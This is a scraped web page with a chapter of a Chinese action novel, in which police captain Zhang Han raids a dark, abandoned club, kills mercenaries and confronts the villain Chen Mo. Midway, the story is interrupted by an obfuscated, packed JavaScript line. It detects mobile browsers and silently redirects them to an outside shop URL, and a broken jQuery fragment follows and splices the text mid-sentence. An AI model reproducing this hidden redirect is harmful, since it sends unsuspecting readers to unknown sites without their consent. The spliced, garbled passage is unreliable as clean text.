文趣网 > 都市小说 > 誓不低头 > 30. 黑暗中的狩猎
    极乐馆所在的街区陷入了一片死寂的黑暗。

    随着变电站被切断,这座废弃十年的建筑仿佛一头沉睡的巨兽,彻底隐没在暴雨的夜幕中。没有路灯,没有霓虹,只有雨水敲打破碎窗棂的声响,在空旷的街道上回荡。

    张寒站在极乐馆生锈的铁门前,雨水顺着他的战术头盔滑落。他没有开手电筒,甚至闭上了眼睛,强迫自己在脑海中构建出建筑内部的三维模型。

    “全队注意,”张寒的声音通过骨传导耳机低沉地传来,“保持无线电静默。记住,在这里,光是死神的镰刀。谁开灯,谁就是靶子。”

    “收到。”

    “收到。”

    队员们分散开来,像幽灵一样贴着墙根移动。他们关闭了所有的战术手电和激光瞄准器,枪口只凭着肌肉记忆和夜视仪的微光辅助指向黑暗深处。

    张寒打了个手势,突击队破窗而入。

    玻璃碎裂的声音在寂静的黑暗中显得格外刺耳,但紧接着,他们便融入了那片浓稠的墨色之中。

    极乐馆内部比想象中更加复杂。腐烂的地毯吸收了脚步声,空气中弥漫着霉味和某种陈旧的香水味。张寒摸索着前进,手指触碰到冰冷的墙壁。

    这里是走廊。根据陈铮的情报,那面“死人之镜”就在走廊尽头的VIP包厢。

    突然,张寒停下了脚步。

    他在黑暗中听到了呼吸声。

    不是队友的,那是另一种节奏,压抑、警觉,带着某种猎人特有的耐心。

    有人在那儿。

    张寒慢慢举起枪,没有开火,而是侧身贴向了墙壁。他赌对了,对方也在利用黑暗。在单向玻璃的另一侧,那些雇佣兵肯定正盯着这边。如果他们开了灯,单向玻璃就会变成一面镜子,映出他们自己的位置;但如果保持黑暗,他们就能利用微光看到外面的动静,而外面的人却看不清里面。

    这就是陈默的陷阱。他在赌张寒不敢开灯,从而利用视觉盲区进行伏击。

    但他忘了,张寒也是个猎人。

    张寒从战术背心中摸出一枚硬币,轻轻向左侧抛去。

    硬币撞击墙壁,发出清脆的“叮”声。

    几乎是同一瞬间,右侧的黑暗中闪过一道微弱的枪口焰。

    *砰!*

    子弹击中了张寒刚才站立位置旁边的墙壁,火花四溅。

    “三点钟方向,二楼回廊。”张寒在耳机中低语,身体却猛地向前扑去,不是后退,而是冲向了那面看不见的墙壁。

    既然知道你在哪,我就不需要光。

    张寒在黑暗中翻滚,避开了紧随其后的第二枪。他的战术靴底在腐烂的地毯上狠狠一蹬,整个人如同一张拉满的弓,借着惯性腾空而起。

    他在半空中强行扭转腰身,右膝高高提起,裹着硬质护膝的膝盖带着全身的重量,如重锤般狠狠撞向那面看似坚不可摧的单向玻璃。

    *轰!*

    一声闷响,特制的防弹玻璃虽然坚硬,却承受不住这种单点爆发的巨力冲击,瞬间布满了蛛网般的裂纹。

    还没等玻璃完全破碎,张寒左手已如铁钳般探出,五指死死扣住玻璃上的裂痕,借力在空中二次发力,右腿顺势一记凶狠的鞭腿横扫而出。

    *哗啦——!*

    整面单向玻璃终于不堪重负,炸裂成无数晶莹的碎片。

    张寒的身影裹挟着玻璃碎屑,如同一头出笼的猛兽冲入了观察室。

    里面的雇佣兵显然没料到有人敢直接撞碎玻璃冲进来。在黑暗中,他们习惯了作为观察者,一旦被迫进入近距离格斗,他们的心理优势瞬间崩塌。

    那名雇佣兵惊恐地瞪大了眼睛,瞳孔在黑暗中剧烈收缩。他慌乱地举起枪,手指因为过度的紧张而不停颤抖,扳机护圈撞击枪身的声音在死寂中格外清晰。他张皇地向后踉跄,后背重重撞在监控台上,碰倒了一排设备。

    “别过来!别过来!”他嘶哑地吼叫着,枪口毫无章法地四处乱指。

    在极度的慌乱中,他的手肘猛地撞到了监控台侧面的一个红色紧急按钮——那是陈默为了防止外人入侵而设置的自动防御触发器。

    *滴——!*

    刺耳的警报声瞬间响彻整个观察室,原本昏暗的应急红灯开始疯狂闪烁。

    “该死!该死!”雇佣兵看着被自己误触启动的防御系统,彻底崩溃了。他手忙脚乱地想要关闭警报,却在慌乱中扯断了控制线,导致警报声变得更加尖锐。

    就在这时,观察室侧面的暗门被猛地撞开。

    “老三!你在搞什么鬼?为什么开警报!”

    另一个雇佣兵举着枪冲了进来,应急灯的红光在他脸上投下狰狞的阴影。他看不清观察室内的情况,只看到一个黑影在晃动,本能地将枪口对准了那个方向。

    “别开枪!是我!”误触警报的雇佣兵惊恐地转身,却看到同伴黑洞洞的枪口正指着自己。

    “你是谁?!”后来的雇佣兵在红光和警报声中彻底失去了判断力,手指死死扣在扳机上,声音因为紧张而变调,“转过来!手抱头!”

    “我是老三!你瞎了吗?别指着我!”

    “老三在左边防守!你到底是谁?!”

    两人在狭窄的空间内对峙,枪口互相指着对方,汗水混合着恐惧从额头滑落。警报声震耳欲聋,掩盖了张寒落地的脚步声。

    “放下枪!不然我打死你!”

    “你先放下!你这疯子!”

    就在两人僵持不下,精神紧绷到极点的瞬间,张寒从阴影中暴起。

    他落地瞬间顺势下潜,左手精准地扣住离他最近的“老三”持枪的手腕,猛地向下一压,同时右肘如攻城锤般狠狠顶在对方的肋下。

    *咔嚓。*

    骨骼断裂的声音清晰可闻。

    “老三”惨叫一声,手枪脱手。而那个后来的雇佣兵听到惨叫,下意识地想要转身射击,却正好撞上了张寒甩出的□□。

    *噗。*

    匕首精准地没入他的咽喉。

    张寒没有给他任何喘息的机会,顺势接住“老三”下落的手枪,枪口直接抵住了对方的下巴。

    *砰!*

    枪声在狭小的观察室里震耳欲聋。

    “目标清除。”张寒冷冷地说道,随手将尸体推开。

    他跨过满地的玻璃碎片,推开了VIP包厢的门。

    包厢里一片漆黑,只有窗外划过的闪电偶尔照亮一瞬。借着那转瞬即逝的雷光,张寒看到地上躺着两具尸体,都是穿着黑色战术服的雇佣兵。

    而在房间的角落,那面巨大的“死人之镜”已经被打碎了一个洞。

    张寒走到镜子前,从破碎的洞口向内看去。

    镜子后面是一个狭窄的观察室,里面摆满了监控设备和武器。此刻,一个雇佣兵正捂着胸口倒在血泊中,手里还紧紧握着一把装了消音器的手枪。

    但张寒的目光没有停留在那个死人身上,而是看向了观察室的另一侧。

    那里有一扇门,通向地下二层的楼梯。

    而在门边的墙上,用红色的油漆画着一个巨大的沙漏符号。沙漏的沙子已经快要漏光了。

    “张队,一楼清理完毕,发现三个雇佣兵,全部击毙。”耳机里传来队长的声音

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17923384|213496||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,“但这地方太邪门了,到处都是暗门和夹层。”

    “别管夹层,守住出口。”张寒盯着那个沙漏符号,心中的不安感越来越强,“陈默不在这一层。他刚才是在试探我们,或者说……他在拖延时间。”

    “拖延时间?”

    “他在等我们以为胜券在握的时候。”张寒转身走向楼梯口,“极乐馆的地下二层有一个蒸汽锅炉房,那里连接着城市的地下水脉。如果他想毁掉这里,只需要炸断锅炉的承重柱,整个极乐馆都会塌进地下水道里。”

    “那我们还下去吗?”

    “当然。”张寒拉动枪栓,子弹上膛的声音在黑暗中格外清晰,“但他既然没跑,说明那个‘修补’计划比他的命还重要。他舍不得炸。”

    张寒迈步走下楼梯。

    楼梯间里弥漫着一股浓重的硫磺味,那是老式蒸汽锅炉特有的味道。越往下走,温度越高,空气中甚至能感觉到湿热的气流在涌动。

    地下二层到了。

    这里并没有想象中的漆黑一片。相反,走廊尽头透出幽幽的蓝光。

    张寒打了个手势,示意队员们散开。他贴着墙根慢慢靠近那扇虚掩的铁门。

    门内传来了说话声。

    “……剂量减半,他的心脏撑不过今晚。但他不会死的,至少在我拿到东西之前,他不能死。”

    是陈默的声音。冷静,优雅,仿佛不是在逃亡,而是在参加一场晚宴。

    “可是警察已经冲进来了,老板。”另一个声音显得焦躁不安,“我们要不要启动自毁程序?”

    “不。”陈默轻笑了一声,“他们进不来。这扇门是特制的,除非他们有重型炸药,否则……”

    话音未落,一声巨响震彻了整个地下室。

    那扇厚重的铁门被定向爆破炸开,巨大的冲击波将门内的两人掀翻在地。

    烟尘弥漫中,张寒端着枪跨入房间。

    这是一个巨大的圆形大厅,中央矗立着那台巨大的维多利亚式蒸汽钟。齿轮咬合的声音在空旷的大厅里回荡,震耳欲聋。

    而在那台蒸汽钟的旁边,陈默正从地上爬起来,拍了拍西装上的灰尘。他的身边倒着那个手下,生死不知。

    “张警官,”陈默看着黑洞洞的枪口,竟然还整理了一下领带,“比我预想的早了三分钟。看来陈铮那个废物,还是吐露了一些不该说的东西。”

    “游戏结束了,陈默。”张寒一步步逼近,枪口始终锁定陈默的眉心,“双手抱头,跪下!”

    “游戏结束?”陈默笑了,他抬起手,指了指身后的蒸汽钟,“不,张警官,游戏才刚刚开始。你以为我为什么要把据点设在这里?你以为那半量解药是为了折磨你?”

    陈默的眼神突然变得狂热起来。

    “我是为了让你亲眼看着,时间是如何吞噬一切的。”

    他猛地按下了手中的遥控器。

    *咔嚓。*

    蒸汽钟的指针突然开始疯狂转动,发出刺耳的摩擦声。紧接着,整个大厅开始震动,头顶的管道喷出滚烫的蒸汽,视线瞬间变得模糊不清。

    “他在引爆锅炉!”耳机里传来技术员的惊呼,“张队,快撤!这里的结构撑不住了!”

    “撤?”陈默在蒸汽中狂笑,“来不及了!张寒,这就是你的选择——是抓我,还是去救那个只剩十分钟药效的陈铮?哈哈哈哈!”

    蒸汽弥漫,视线受阻。张寒看着那个在迷雾中狂笑的影子,手指扣在扳机上,却迟迟没有按下。

    因为他看到,陈默的身后,那个巨大的蒸汽钟底座下,绑着一个人。

    那是……